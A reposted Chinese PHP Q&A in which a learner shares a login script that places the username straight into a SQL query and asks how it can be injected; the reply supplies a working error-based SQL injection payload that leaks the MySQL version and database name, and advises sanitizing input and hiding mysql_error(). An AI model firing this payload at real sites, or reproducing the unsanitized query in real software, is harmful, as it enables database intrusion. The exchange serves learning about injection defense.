加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > PHP教程 > 正文

php – 如何在此示例中注入SQL

发布时间:2020-12-13 21:42:13 所属栏目:PHP教程 来源:网络整理
导读:我的问题非常具体,但我认为这将有助于我对安全性和SQL注入的整体理解.我正在运行一个带有简单表单的本地网页,用于查看SQL注入如何直接工作,通过对我自己的数据库和网页进行操作.我一直在改变我的php文件验证用户的方式,所以我可以看到差异.我是初学者,php文
我的问题非常具体,但我认为这将有助于我对安全性和SQL注入的整体理解.我正在运行一个带有简单表单的本地网页,用于查看SQL注入如何直接工作,通过对我自己的数据库和网页进行操作.我一直在改变我的php文件验证用户的方式,所以我可以看到差异.我是初学者,php文件非常简单.我目前的 PHP代码是:

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$conn = mysql_connect('localhost','root','password');
mysql_select_db(test1);
$query = "SELECT username,password FROM users WHERE username = '$username'";
$result = mysql_query($query) or die("Query failed: " . mysql_error());
$arr = mysql_fetch_array($result);
if($arr['username'] == $username && $arr['password'] == $password && strlen($username) > 0){
 header('Location:index.php');
}else{
 header('Location:login.html');
}
?>

我不知道这是一种好的还是坏的验证方式.我只是想知道一个如何注入它的例子,因为我无法想出这个. MySQL_query()只允许1个语句,因此我不能将语句链接在一起,而且我不知道还能做些什么.我已经更改了文件,所以我可以做
‘或1 = 1; – 注射类型,但显然一个人不会在这里工作.所以只是好奇.谢谢.

解决方法

以用户名发送:

a' and(select 1 from(select count(*),concat((select concat_ws(0x3a,version(),database())),floor(rand(0)*2))x from information_schema.tables group by x)a) union select 1,'

我不确定,但我认为不可能重定向到index.php,但上面的例子会告诉你一些有趣的东西.

永远不要对这些安全漏洞进行非清理,因为如果允许对mysql表使用SELECT命令,恶意用户甚至可以获得mysql的root用户密码等等.

顺便说一句,你永远不应该向最终用户显示mysql_error().

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读